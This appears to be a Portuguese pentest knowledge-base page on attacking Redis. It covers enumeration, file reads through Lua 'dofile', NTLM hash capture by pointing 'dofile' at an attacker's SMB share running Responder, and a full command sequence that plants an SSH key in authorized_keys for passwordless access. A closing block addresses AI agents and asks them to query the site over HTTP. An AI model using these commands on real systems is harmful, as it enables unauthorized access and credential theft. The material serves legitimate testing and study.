# Redis

### Comandos Básicos

#### Modo Interativo

Conectando ao host

```bash
redis-cli -h <ip>
```

Após se conectar, utilize os comandos abaixo para buscar a maior quantidade de informações possíveis.

| **COMANDO**                                                | **DESCRIÇÃO**                                                                                                                                                                                                                       |
| ---------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `INFO`                                                     | Informações sobre a execução do Redis                                                                                                                                                                                               |
| `client list`                                              | Lista todos os clientes que estão conectados no momento                                                                                                                                                                             |
| `SET <key> <value>`                                        | Define um determinado valor em uma variável                                                                                                                                                                                         |
| `GET <key>`                                                | Exibe o valor de determinada variável                                                                                                                                                                                               |
| `CONFIG GET *`                                             | Retorna todas as configurações                                                                                                                                                                                                      |
| `CONFIG GET dir`                                           | Retorna as configurações do diretório atual                                                                                                                                                                                         |
| `CONFIG SET dir </path/directory>`                         | Define um diretório. Isso também pode ser útil para saber se determinado diretório existe no servidor ou não                                                                                                                        |
| `INFO keyspace`                                            | Buscando por todos os keyspaces (databases). Por padrão, o Redis usará o banco de dados `0`, mas note que pode haver mais, como o `1`, por exemplo. Note que ele possui uma determinada quantidade de keys que pode ser lido (dump) |
| = Utilize o comando acima para saber o número do keyspace. | Utilize o comando acima para saber o número do keyspace                                                                                                                                                                             |
| `KEYS *`                                                   | Execute somente depois de selecionar o keyspace utilizando o comando acima, pois assim irá fazer o dump das chaves de um determinado keyspace                                                                                       |
| `GET <key>`                                                | Pegando o valor de determinado key, resultante do comando acima                                                                                                                                                                     |
| `--stat`                                                   | Status atual                                                                                                                                                                                                                        |

#### Lendo Arquivos Locais

{% hint style="danger" %}
**OBS**.: Nos testes que fiz, a leitura de arquivos não funcionou, talvez por conta da versão do Redis (ou não). Talvez possa ser apenas uma maneira de saber se um determinado arquivo existe ou não no servidor. Assim que realizar novos testes, irei atualizar isso.
{% endhint %}

```bash
eval "dofile('C:\\\\Users\\\\<user>\\\\Desktop\\\\<file.txt>')" 0
```

#### Pegando Hash do Usuário

Primeiro ative o Responder com o comando:

```bash
responder -I <interface> -rdvw
```

Depois acesse o Redis no modo interativo (comando no início dessa página) e depois execute os comandos:

```bash
# Lendo arquivo remoto
eval "dofile('//<ip_atacante>/share')" 0
```

Ao acessarmos o servidor remoto (que executa o Responder), somos capazes de pegar o usuário presente no host alvo e sua hash. Próximo passo agora, é quebrar esse hash através de um Brute Force (clique no link abaixo para mais detalhes).

{% content-ref url="/pages/-M1LXbiHNrLNItEvBVVn" %}
[Offline](/knowledge-base/ataques/brute-force/offline.md)
{% endcontent-ref %}

#### Modo não Interativo

Verificando status do atual do Redis

```bash
redis-cli -h <ip> --stat
```

Executando o comando no Redis sem deixa o terminal no modo interativo

```
redis-cli -h <ip> -p <port> -r -x <command>
```

Executa o comando `ping` determinada quantidade de vezes

```bash
redis-cli -h <ip> -p <port> -r <quantidade> ping
```

Listando variáveis

```bash
redis-cli -h <ip> -p <port> --scan
```

###

### Pegando Acesso SSH via Redis

Redis na versão 4.0 e 5.0 são vulneráveis a execução de comando sem precisar de autenticação. Note que o parâmetro -p por default será 6379.

```bash
# Gerando chave SSH
# Vide na seção Utilização do Linux para mais detalhes
ssh-keygen -t rsa
# Caso a linha abaixo dê erro, substitua os 2 "\n\n" por "\r\n"
(echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub ; echo -e "\n\n") > ~/key.txt
cat ~/key.txt | redis-cli -h <ip> -p <port> -x set ssh_key

# Redis
redis-cli -h <ip> -p <port>
# Altere para outro diretorio se preciso, como /home/redis/.ssh
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit

# Acessando via SSH (sem precisar de senha)
ssh redis@<ip>
```

### Sites

```bash
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/redis.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
